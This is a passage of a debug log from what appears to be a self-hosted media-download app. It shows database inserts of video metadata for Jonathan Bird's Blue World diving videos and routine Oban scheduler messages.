Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "59f27f67-fc2d-4732-a197-bd2bc85eb670", "felN-1PL66Y", false, "https://www.youtube.com/watch?v=felN-1PL66Y", 34, [], 819, false, 16, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, false, 98, ~U[2025-03-01 15:00:54Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #sharks #rebreather \n\nChapters:\n0:00 Intro\n0:25 Hood Canal\n4:54 Our first shark!\n6:17 Redondo Beach\n8:26 More sharks!\n12:28 Summary and end", "SIXGILL SHARKS swim out of the Abyss!", "felN-1PL66Y", "https://www.youtube.com/watch?v=felN-1PL66Y", 34, 819, false, "/downloads/rory/BlueWorldTV/2025-03-01 SIXGILL SHARKS swim out of the Abyss!/SIXGILL SHARKS swim out of the Abyss! [felN-1PL66Y].mp4", false, ~U[2025-03-01 15:00:54Z]] 19:02:34.288 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.289 [debug] QUERY OK source="media_items" db=0.8ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 15:00:47Z], 34] 19:02:34.291 [debug] QUERY OK source="media_items" db=0.9ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned MISSILE SILO!", "8762f776-638a-49d4-b97c-716bee387fcb", "d3dLTP1RNQQ", false, "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, [], 643, false, 17, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, false, 98, ~U[2025-02-08 15:00:47Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "In the newest Blue World adventure, Jonathan and Todd join dive guide Sean Holland with Undersea Adventures in Kennewick, Washington to dive an abandoned cold war Titan 1 missile silo that has filled with water! It's spooky!! And if you want to do this dive yourself, you do not need to be cave certified. Check it out:\n\nhttps://www.underseaadventures.net/module/class/214573/missile-silo-dives\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #rebreather #wreckdiving \n\nChapters:\n0:00 Intro", "Diving an Abandoned MISSILE SILO!", "d3dLTP1RNQQ", "https://www.youtube.com/watch?v=d3dLTP1RNQQ", 34, 643, false, "/downloads/rory/BlueWorldTV/2025-02-08 Diving an Abandoned MISSILE SILO!/Diving an Abandoned MISSILE SILO! [d3dLTP1RNQQ].mp4", false, ~U[2025-02-08 15:00:47Z]] 19:02:34.291 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.292 [debug] QUERY OK source="media_items" db=0.8ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-14 14:00:11Z], 34] 19:02:34.293 [debug] QUERY OK source="media_items" db=1.0ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "0f305674-b1b7-44b3-87ed-ab363fdf5755", "GtXs5-njKx8", false, "https://www.youtube.com/watch?v=GtXs5-njKx8", 34, [], 1008, false, 18, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, false, 98, ~U[2024-09-14 14:00:11Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd join world renown cave explorer Robbie Schmittner to explore a new cave that he discovered. The entrance (which he named \"Wishing Well\") turns out to be a new entrance to a large known cave system, much of which is unexplored. We get to explore a brand new section of cave, lay some line in there, and Jonathan even gets to leave his name in the cave on a line arrow.\n\nRobbie Schmittner offers true cave exploration adventures off the beaten path. If you are an EXPERIENCED cave diver and want to do something that very few people ever get to do--explore the unexplored--then Robbie is the guy to call. He is best reached through instagram at @robbieschmittner.\n\nWARNING! CAVE DIVING IS EXTREMELY DANGEROUS AND REQUIRES SPECIAL TRAINING AND EQUIPMENT. NEVER ATTEMPT TO DIVE CAVES WITHOUT PROPER TRAINING!! \n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:19 About Robbie\n2:00 Getting to the cave\n6:00 The dive begins\n7:45 Exploration begins\n14:28 Heading back\n15:32 Summary\n16:27 Credits", "Diving an UNEXPLORED cave in Mexico!", "GtXs5-njKx8", "https://www.youtube.com/watch?v=GtXs5-njKx8", 34, 1008, false, "/downloads/rory/BlueWorldTV/2024-09-14 Diving an UNEXPLORED cave in Mexico!/Diving an UNEXPLORED cave in Mexico! [GtXs5-njKx8].mp4", false, ~U[2024-09-14 14:00:11Z]] 19:02:34.294 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.295 [debug] QUERY OK source="media_items" db=0.9ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-24 14:00:52Z], 34] 19:02:34.296 [debug] QUERY OK source="media_items" db=0.9ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Cameraman Todd travel to Playa Del Carmen, Mexico in search of an underwater crocodile encounter with Jorge Loria from Phantom Divers!\n\nWARNING! Wild animals are dangerous. Especially crocodiles! Don't even think of doing anything this dumb!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #crocodile #mexico \n\nChapters:\n0:00 Intro\n1:50 Arrive at Cenote\n3:40 We find the crocodile\n6:15 We go back again\n7:30 Third attempt\n8:30 Finally a croc underwater\n15:12 End of the dive summary\n16:10 Credits", "UNDERWATER Encounter with Huge CROCODILE!", "63d43525-e2e2-4a0f-bbf0-620bb70195e8", "xKq0AClgPF0", false, "https://www.youtube.com/watch?v=xKq0AClgPF0", 34, [], 990, false, 19, "/downloads/rory/BlueWorldTV/2024-08-24 UNDERWATER Encounter with Huge CROCODILE!/UNDERWATER Encounter with Huge CROCODILE! [xKq0AClgPF0].mp4", false, false, 98, ~U[2024-08-24 14:00:52Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Cameraman Todd travel to Playa Del Carmen, Mexico in search of an underwater crocodile encounter with Jorge Loria from Phantom Divers!\n\nWARNING! Wild animals are dangerous. Especially crocodiles! Don't even think of doing anything this dumb!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #crocodile #mexico \n\nChapters:\n0:00 Intro\n1:50 Arrive at Cenote\n3:40 We find the crocodile\n6:15 We go back again\n7:30 Third attempt\n8:30 Finally a croc underwater\n15:12 End of the dive summary\n16:10 Credits", "UNDERWATER Encounter with Huge CROCODILE!", "xKq0AClgPF0", "https://www.youtube.com/watch?v=xKq0AClgPF0", 34, 990, false, "/downloads/rory/BlueWorldTV/2024-08-24 UNDERWATER Encounter with Huge CROCODILE!/UNDERWATER Encounter with Huge CROCODILE! [xKq0AClgPF0].mp4", false, ~U[2024-08-24 14:00:52Z]] 19:02:34.297 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], 34] 19:02:34.298 [debug] QUERY OK source="media_items" db=1.0ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 19:02:34.299 [debug] QUERY OK source="media_items" db=0.9ms idle=4.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 19:02:34.300 [debug] QUERY OK source="media_items" db=0.2ms idle=4.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 19:02:34.301 [debug] QUERY OK source="tasks" db=0.2ms idle=2.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7262, 34, ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z]] 19:02:34.302 [info] {"args":{"id":34},"id":7245,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":60418965,"event":"job:stop","queue_time":376084,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:02:55.254 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.920 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:25.257 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:55.260 [info] {"source":"oban","duration":1797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.922 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:25.263 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:55.266 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.923 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:25.269 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:55.272 [info] {"source":"oban","duration":2339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:06:00.924 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:25.275 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:55.278 [info] {"source":"oban","duration":2320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.926 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:25.281 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:55.284 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.928 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:25.287 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:55.290 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.930 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:25.293 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:55.296 [info] {"source":"oban","duration":2136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.932 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:25.299 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:55.302 [info] {"source":"oban","duration":1875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.934 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:25.305 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:55.308 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.936 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:25.311 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:55.314 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.938 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:25.317 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:55.320 [info] {"source":"oban","duration":1852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.939 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:25.323 [info] {"source":"oban","duration":1869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:55.327 [info] {"source":"oban","duration":2511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.941 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:25.329 [info] {"source":"oban","duration":1835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:55.332 [info] 